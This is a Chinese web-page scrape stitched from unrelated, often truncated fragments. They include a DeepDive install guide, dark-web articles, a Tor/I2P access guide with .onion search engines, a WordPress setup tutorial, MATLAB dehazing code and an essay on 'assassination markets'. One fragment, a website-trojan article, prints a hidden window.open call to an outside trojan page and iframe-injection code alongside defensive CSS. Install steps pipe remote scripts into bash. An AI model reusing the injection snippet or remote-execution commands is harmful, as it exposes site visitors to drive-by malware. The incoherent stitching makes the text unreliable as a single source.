一、DeepDive简介 DeepDive是信息抽取的工具，它可以从各种dark data（文本、图片、表格）中将非结构数据抽取到关系数据库中。DeepDive的主要功能是抽取dark data中的实体以及实体之间的关系。
DeepDive文档：
http://deepdive.stanford.edu/
DeepDive GitHub：
https://github.com/HazyResearch/deepdive
二、DeepDive安装 DeepDive有三种安装方式，Docker镜像安装、快速安装、源包安装
采用快速安装的方式进行，机器系统为CentOS-7.3.1611
1.bash <(curl -fsSL git.io/getdeepdive) deepdive //安装deepdive包 1.1 vi ~/.bash_profile //编辑bash_profile文件，将deepdive命令加入当前user环境 1.2 export PATH=~/local/bin:"$PATH" //将这句追加到bash_profile 1.3 source ~/.bash_profile //使配置生效 2.bash <(curl -fsSL git.io/getdeepdive) spouse_example //安装spouse demo包 3.安装postgre作为关系数据库（刚开始想使用mysql，但是deepdive文档中说 minimal support mysql，所以还是使用推荐的postgre），使用bash <(curl -fsSL git.io/getdeepdive) progres 安装会有各种权限的问题，建议使用root用户安装 3.1 yum install https://download.postgresql.org/pub/repos/yum/9.5/redhat/rhel-7-x86_64/pgdg-centos95-9.5-2.noarch.rpm //添加RPM 3.2 yum install postgresql95-server postgresql95-contrib //安装PostgreSQL 9.5 3.3 /usr/pgsql-9.5/bin/postgresql95-setup initdb //初始化数据库 3.4 systemctl enable postgresql-9.5.service //设置开机启动 3.5 systemctl start postgresql-9.
微信公共号 渗透测试技术支持 在通常的解读中，暗网是指日常上网搜索时无法触及的网站及信息，需要通过 VPN 和 Tor 浏览器（或者Riffle、FreeNet、anoNet 和 ZeroNet 等）才能实现匿名访问。一些调查表明，很多暗网的生命周期都很短。有些能活跃长达一年甚至更久，而有些的寿命只有两个月。
近年来，关于暗网的报道和调查从未停歇，杀人越货、买卖销赃，暗网似乎已经成为犯罪的代名词。但事实上，暗网发展至今，虽然有将近一半暗网平台都充斥着犯罪活动，但还有很多暗网用户是为了追求匿名与隐私保护。人们往往会将不熟悉的事情神秘化，但越神秘就越难看清真相。FreeBuf 已经有很多关于暗网的文章，或是技术层面的介绍，或是聚焦于具体事件。这次，我们从另一个角度来看一看。在安全研究者眼中，关于暗网有哪些常见误解？当前的暗网情况如何？加密货币与暗网如何相互影响？企业又将如何应对来自暗网的威胁呢？ 关于暗网的常见误解
暗网中并非只有犯罪 暗网需要通过 Tor 浏览器才能进入，Tor 浏览器最初以高度匿名性与高度隐私化而著称，很多使用 Tor 的人也是为了这样的合理诉求而来。只不过正如俗话所说，有人的地方就有江湖。各色人等涌进来之后，暗网也就如同表网一样，既有普通用户也有犯罪贩子。暗网的普通用户类别也很多：
在一些国家，上网行为会受到限制，有些需要寻求帮助的人为了避免审查，就在暗网中讲述事实，传播并分享信息；
有很多记者也很重视暗网，以保护或存储自己的信息来源。据说“纽约时报”甚至还有一个安全保险箱用于存储爆料者提供的信息或其他新闻源；
一些需要政府保护的异见人士会通过暗网与外界交流；
有调查还发现，有些学者会在暗网中详细记录自己的学术研究成果
…… 曾经有传言说大部分犯罪分子都聚集在暗网中，而事实上暗网中的犯罪分子主要是一帮黑客，且规模并不大。因为暗网中恶意软件易于获取，且处处都是欺诈，黑客不仅会从企业或普通公民那里窃取信息，还会互相之间勾心斗角，黑吃黑。
关于暗网与表网的“冰山比喻”有些夸张 人们常常认为暗网和表网就像一座冰山，表网是浮在水面上的部分，而水下的暗网则规模庞大且难以寻找。但事实上，与数十亿人次访问的表网相比，暗网的规模小得多。每天使用 Tor 的人只有约 200 万，而这 200 万人中，也只有一小部分去访问暗网。不过，就有效信息量来说，也许还是暗网更胜一筹。
暗网并非完全匿名 使用 Tor 浏览器的确难以追踪，但并非完全无法追踪。执法部门会监控 Tor 浏览器的下载情况，甚至亲自创建暗网网站来吸引犯罪分子。所以说，在暗网中，你也并非是完全隐身的。
暗网并不是非法的 当然，下载 Tor 浏览器也并不是非法的。不过，警方认为，一旦接触暗网，就可能受环境影响，身不由己。因此，下载这个浏览器之后，你可能会被执法部门盯上，毕竟现在警方对于暗网犯罪的打击力度很大，暗网知名交易平台“丝绸之路”、“AlphaBay”和“Hansa”被端掉的故事至今都是传奇。据外媒 Engadget 报道，美国多个政府部门近期联合宣布完成有史以来第一次暗网卧底活动，一共打掉超过 35 个暗网交易平台并缴获价值 2360 万美元的商品，其中包括 2000 比特币。卧底在多个场合扮演成洗钱者，逐渐深入交易平台内部，最终获得成功。这其中，比特币等加密货币成了罪恶的催化剂。
暗网已成为威胁情报新来源
由于暗网中充斥着大量信息，包含着最新的恶意软件或其他新的攻击技术或犯罪分子动向，因此这里也成为了安全研究人员寻找威胁情报的新阵地。网络安全公司 IntSights 认为，关注暗网动态，搜集攻击者从策划攻击到实施攻击后的一系列行为，将搜集到信息转化成智能化威胁情报，有助于研究人员在攻击发生之前预测攻击者的意图和行为。
近期他们发布的一项研究报告表明，就暗网中数据买卖以及钓鱼邮件这两项重大“攻击指标”而言，金融行业受攻击的可能性最大。根据报告中的统计数据，目前针对金融行业的三大领头的黑客组织分别是MoneyTaker、Carbanak和Cobalt，而这三个黑客组织都被认为是俄罗斯黑客组织，累计对全球多个国家的银行、金融机构和零售行业进行了几百次攻击。而另一个新发现是，很多暗网黑市的供应商已经开始转移到 Telegram 加密聊天室等社交媒体平台开展业务。这为真实世界中安全研究人员应对攻击、开展研究提供了新的方向。
加密货币与暗网：罪恶的恶性循环
2018 年大热的区块链技术让很多人都成了“币圈”的韭菜，连最近常见的攻击事件也都与挖矿或币圈交易所遭窃取有关。而在此之前，暗网才是加密货币的主场。根据 Recorded Future 在 2018 年年初发布的报告，短短几年内，暗网中交易所使用的货币虽然依旧以比特币为主流，但更方便、更安全的莱特币乃至门罗币等加密货币也逐渐风靡。
随着近来区块链技术以及炒币热席卷全球，围绕这些货币展开的窃取或破坏等黑客攻击不断增多。美国网络安全公司 7 月初发布报告称，仅在 2018 年上半年，针对加密货币交易所的盗窃行为就飙升至整个 2017 年的三倍，相关洗钱活动也因此增加了三倍。报告指出，2018 年前六个月，数字货币交易所共有价值 7.
本教程介绍如何在Ubuntu系统下基于Nginx部署搭建WordPress。包括下载WordPress，创建WordPress操作的MySQL数据库和用户，配置WordPress，在Nginx中配置WordPress以及安装WordPress。
下载WordPress 直接通过wget命令去它官网下载最新的版本：
wget http://wordpress.org/latest.tar.gz 解压：
tar -xzvf latest.tar.gz 创建WordPress操作的数据库和用户 用在建站教程（二）：Ubuntu上如何配置Nginx+MySQL+PHP7（LNMP）中创建MySQL时设置的root密码登录MySQL：
mysql -u root -p 创建数据库：
CREATE DATABASE wordpress; 创建用户：
CREATE USER wordpress@localhost; 设置密码：
SET PASSWORD FOR wordpress@localhost=PASSWORD("your password"); 配置权限：
GRANT ALL PRIVILEGES ON wordpress.* TO wordpress@localhost IDENTIFIED BY 'your password'; 刷新权限配置：
FLUSH PRIVILEGES; 退出MySQL：
QUIT; 配置WordPress 重命名示例文件wp-config（此处的路径/root/wordpress对应你自己的存放路径）：
mv /root/wordpress/wp-config-sample.php /root/wordpress/wp-config.php 修改配置文件内容：
vi /root/wordpress/wp-config.php 修改的内容包括DB_NAME，DB_USER，DB_PASSWORD以及下面的唯一key，其中前三个是在第二步自己设置的内容，唯一key可以直接去它提供的网站上拷贝，修改后的文件如下所示：
配置Nginx 根据建站教程（二）：Ubuntu上如何配置Nginx+MySQL+PHP7（LNMP），Nginx的root路径是/var/www/html，所以讲wordpress里面的内容拷贝到此路径下：
cp -r /root/wordpress/* /var/www/html 修改权限（这些文件都是root的，而Nginx默认是www-data用户来运行，所以没有权限写入root的文件）：
chown -R www-data:www-data /var/www/html 如果按照第二步配置了，那么default的配置文件内容不需要修改了，如果没有修改，请戳-> 建站教程（二）：Ubuntu上如何配置Nginx+MySQL+PHP7（LNMP）
重启Nginx：
下面是如何安装和使用访问暗网的工具TOR：
1. 下载Tor浏览器
https://www.torproject.org/projects/torbrowser.html
2. 安装后启动程序
3. 点击“Coonect”（连接），出现下面的窗口：
等待一会儿，Tor浏览器的窗口出现后，就能够开始暗网之旅了！
三、探索暗网
如何搜索暗网呢？下面是一些基于Tor网络的搜索引擎：
Ahmia.fi
这是一个基础的Tor隐藏服务搜索引擎，内容不是很庞大，但做为暗网之旅的开始还是不错的选择。
普通URL: https://ahmia.fi
暗网URL： msydqjihosw2fsu3.onion
Torch（火炬）
这是最好的Tor网络搜索引擎，有着巨大的数据库，约110万个页面。
暗网URL： http://xmh5752oemp2sztk.onion
Grams
这个引擎是专门设计用来搜索暗网的，堪称暗网中的谷歌。
暗网URL： http://grams72tru2gdpl2.onion
Not Evil（不做恶）
这是个简易搜索引擎，但，没有广告。
暗网URL：http://hss3uro2hsxfogfq.onion
Sinbad Search（辛巴达搜索）
另一个拥有大型数据库的Tor搜索引擎。
暗网URL：http://sinbad66644fr5lq.onion
四、另一个暗网
上面介绍了Tor网络的访问，下面我们介绍一下另一张暗网，I2P。
1. 下载I2P
https://geti2p.net/en/download
2. 安装后并启动程序，即可看到I2P的路由控制台( Router Console )：
然后你必须把浏览器设置成使用I2P，以Firefox为例：
打开浏览器–>菜单–>选项–>高级–>网络–>设置
在连接设置窗口选择，“手动代理配置”：
HTTP Proxy 栏中填入127.0.0.1，端口填4444；
SSL Proxy 栏中填入127.0.0.1，端口填4445；
No Proxy for 框中填入“localhost 127.0.0.1”。
FTP代理设置相同。
3. 确定
4. 转到控制台（Router console）点击你想访问的隐藏服务，如果发生错误就点击另一个。
这里是一些使用I2P网络的搜索引擎：
Direct（导向）
这是一个简易界面的搜索引擎，但它主面上显示的活动主机列表很有帮助。
URL: http://direct.i2p
BTDigg
教我一下呗 最好有详细步骤 网上太混了 搞不懂 求个真正会的大佬教一下0.0
图像预处理：图像去雾算法总结 去雾算法总结
1、暗通道去雾算法 何凯明暗通道去雾算法
matlab源码实现像素逐个运行，比较耗时，可查找C++实现的代码。
matlab源码和C++源码底部有下载链接
1.1 单张图片去雾处理 % 功能：去雾算法单张图片测试 clc clear all I = imread('F:\\去雾算法\\2.jpg'); [ J,tmap,tmap_ref ] = darkChannel( I,15,0.95); % J 为处理后输出的图像 1.2 图像批量去雾处理 % 功能：读取指定文件夹下的所有图片，改变尺寸后去雾再保存。 clc; clear; % PathName = '.\train\'; %指定当前程序所在路径下的文件夹 PathName = 'F:\input_img\'; %指定其他路径下的文件夹 Num = dir([PathName,'*.jpg']); %关联文件夹下某种类型的文件 % if ~exist('newData','dir') %若当前工作路径下不存在，则创建新文件夹newData % mkdir('newData') % end % paths=[pwd,'\newData']; %在当前路径下生成新的存储路径 fprintf('处理ing，请稍等...\n'); for i=1:length(Num) FileName = Num(i).name; trainImg = imread([PathName FileName]); newImg = imresize(trainImg,[416 416]); %统一尺寸 % newImg = rgb2gray(newImg);%灰度化 [ J,tmap,tmap_ref ] = darkChannel( newImg,15,0.
1. 心机表百度
2.soso简洁如他
http://www.soso.com/
3.搜狗也还还好吧
4.雅虎… 额，致敬吧
5. bing 喜欢他的背景图片..^_^ ^_^
6. 谷歌 局域网内的额 伤不起 7. 360 矛和盾的结合体 （流氓软件的老司机）
喜欢的朋友可以关注下。 相信很多的朋友都有遇见过，通过百度快照访问一个网站被跳转到另一个目标网站。
这就说明网站被劫持了，那么黑客为什么要劫持这些网站呢？黑客一般选择什么样的网站下手？下面我们就一起分析一下。
首先黑客一般都会选择信息类网站，购物网站等，因为这些网站的IP高，劫持这些网站能达到他们的引流目的。我们这来做一个假设，如果有100个用户准备访问A网站，但都被劫持到B网站了，那么只是会有10%的用户会对B网站产生兴趣，那么他们的引流目的就达到了，对于A网站而言，他们就损失了部分用户，这是他们不愿看见的，所以他们是很痛恨黑客的。
当然被黑客劫持的网站往往他们都会引流到一些菠菜类的网站，相信很多人看了都会有去搏一搏的心态，一玩不要紧，如果你的控制能力很差的话，那么你就深深的陷入了，这是一个吃人不吐骨头的，这里还是温馨的提醒大家 不要有赌博的心态，不说题外话了，下面我们就一起来看看所谓的木马。
首先，我们需要弄清楚黑客一般是通过哪些渠道来给网站挂木马的。
1.通过漏洞（例如一个软件的漏里，给你的服务器上传一些命令脚本）
2.破解你的服务器账号密码，创建子用户，任意上传脚本文件
这里我来例举一些常见的木马脚本命令：
现在最多见的JS挂马方法有两种，一种是直接将JavaScript脚本代码写在网页中，当访问者在浏览网页时，恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口，隐藏地运行。
这种方法使用的关键代码如下：
window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 这种代码往往很长，很容易被安全工程师发现，而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”，但是设置为0后，可能会出现恶意代码不运行的情况。
另外一种JS挂马方式是，黑客先将挂马脚本代码“document.write(‘＜Iframe src=”网页木马地址” > 或者
document.write("") document.write("") document.write("") 还有这种方式
这个图大家都能看明白，这就黑客的攻击流程。
其次，当我们发现自己的网站被挂马了，改如何来做呢？
当你的网站文件不是很多时，那么你可以一个一个来查看，看见陌生的代码，这时你就需要注意了，有可能就是木马了。
那么如果你的文件有成千上万个，自己一个一个的看那不是要看到眼花，这里我给大家推荐一款免费的查找工具护卫神，下面我把工具分享给大家需要可以下载
https://download.csdn.net/download/dsn727455218/10592371
这里面，是有三款软件，其一就是木马查找工具，已经防篡改工具，及防攻击的
上面介绍的是用工具来防止被挂马，那么我们通过代码来如何实现呢，一起来看看
防第一种JS挂马方式，不方便，用得非常少，而第二种JS挂马方式才是当前主流的，所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本，代码如下：
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');} script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码，这段代码会让异地外域的JS文件在使用document.write()时，被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完，只有部分被强制输出了，Writer后面的内容再不会被写入访 问者的电脑中，从而起到防范JS脚本挂马的作用。
让JS木马的进程迅速中止
在 之间加入如下代码: 屏蔽script和iframe
单屏蔽script
通过添加一个代码来防止被被人挂马。
下面我就给大家分享一下如何做好服务器安全工作：
1.对项目文件增加读写权限
2.服务器的密码不要用什么root，admin，123456这些很容易被试出来的，相信很多人都是用这个密码吧。
3.服务器限制IP登录，一般登录服务器基本上都是那么两个人可以设置白名单，其他的一律禁止登录
4.不定期的维护等
5.当然如果你们公司有钱，也可买付费产品，他们能防止的很多，我看阿里云的安骑士专业版一年的费用都是好几千，还不算其他的一些产品，相信很多的小公司，都不愿出这个钱，所以大家还是努力做好自己的防护措施。
如有需要可以加我Q群【308742428】大家一起讨论技术。
后面会不定时为大家更新文章，敬请期待。
喜欢的朋友可以关注下。 如果对你有帮助，请打赏一下谢谢。
大众谋杀 首先声明一下，本文所讲的内容可能会颠覆你的三观或者说会刷新你在某些领域的认知。所以想永远呆在舒适区的人还是不要阅读的好，因为本文会带领你去了解黑暗的一面。结合今天所要说的主题：大众谋杀。我将从以下两个方面介绍。
1、暗网。
在网络世界，有一个隐藏在黑暗的一面而且你无法想象它有多大的网络，而且它包含的内容是 Google、百度、Yahoo、Bing 这些普通的搜索引擎所不能及的，这就是暗网（Deep Web）。下面是一张描述真实网络世界的图片。
从图中可以看出，我们平时所说的互联网都只是停留在认识表面的那 4%，那么剩下的那 96% 包含的东西就是我今天所说的暗网。如果我们把互联网比作是一座海上的冰山的话，那么我们常识中认识的互联网只是冰山一角，而暗网就是藏匿在海平面下的部分，而且随着深度的增加，你看到的东西会越来越黑暗。
由于某些原因，我不能在这里说太多关于怎么进入暗网的介绍，如果感兴趣的话可以在几 Google 一下。下面我讲一个暗网里面很普通的例子，让大家感受一下什么是大众谋杀。
极端自由主义者吉姆•贝尔在网络上提倡匿名制的倡议，并且提出建立一个这样的组织，让参与者针对某个公众人物匿名捐赠电子货币，奖金池的捐赠会累计成一份总奖金。而之后能够准确预测这个公众人物死亡日期的参与者就可以获得这份奖金。用贝尔的话说，这不算违法犯罪，只是另一种形式的赌博。但是问题在于，如果有足够多的人对某个特定人物心怀怨念，每个人只要向奖金池投几块钱，当这个奖金总额达到一定程度的时候，总会有人蠢蠢欲动，加入预测中来，甚至自己让预测成真，从而把奖金一锅端。从这么一件事情中，我们不难看出，所有参与者成了大众谋杀的一份子，没多增加一个人加入这场游戏，这个公众人物就多了一份威胁，就多了一份被谋杀的几率。这就是暗网中“暗杀市场”的雏形了，当然在 2013 年的夏天， Sanjuro 在暗网中成立了 “暗杀市场”这个网站。并且针对这种方式说道：“大多数情况下，刺杀行为是错的，然而在技术迭代的过程中，这是大势所趋。当有人利用法律威胁你，或者侵犯你的生命、自由、财产以及追求幸福的权利时，现在你可以用一种安全的方式，舒适的躺在客厅里就能将对方置于死地”。当然这种极端的做法是不正确的，我们应该有自己的判断。今天我也只是告诉大家暗网中黑暗的一面，不是说就可以这么干。当然暗网远远不止这些颠覆你认知的事情，还有很多很多你我都不知道的。但奉劝大家，最好远离！
2、算法。
上面的暗网可能没有人争议，但是接下来我要说的算法也能构成大众谋杀可能就有人会反对了。如果你持有怀疑，不妨听我细细道来。如今进入人工智能的初期时代，算法确实给我们带来了很大的帮助，但算法在悄悄的上演各种大众谋杀。算法将我们引入价格的歧视，同样的商品，同样的时期，不同的人买的价格却不一样，你可别不信。就拿最大众化的网购来说，商家通过算法将你的购买行为分析得清清楚楚，你平时是不是喜欢买贵的东西，从来不买便宜的东西，或者说你平时都只买打折的商品，从不买贵的商品。当你下一次购物的时候，就能根据你的以往消费观念对你想买的东西实时重新定价。那这种情况算不算是一种大众谋杀呢？其实这是很明显的大众谋杀，你可能会想，我可以货比三家，然而你不知道的是这三家商家都在使用算法，都在实时的对你进行价格欺骗，没有那个商家愿意特立独行的，如果这样，等待他的肯定是出局；算法还可能将市场竞争引向垄断，实现商家之间的大众谋杀。不同的商家为了排除异己，都会采用此算法来定价，然后和对手打价格战，当对手在价格战上输掉的时候，再将自己的价格提高。这种商家之间的价格战常常是几家合起来使用同样的最优算法，排除其他某个异己，最终实现垄断。这种商家之间合伙使用算法排除异己的行为是一种明显的大众谋杀，这是这里的大众是一种微观上的大众。
好了，今天所说的东西只是一个大概的叙述，想要弄明白这些靠我的这点介绍是远远不够的，当然我也不是一开始就知道这些，也是在不断的学习中总结出来的。上面的内容主要参考《暗网》、《算法的缺陷》两本书，以及 deep web 网站上的内容，感兴趣的读者可以去看看。
如果你对我写的内容感兴趣，欢迎扫码订阅本公众号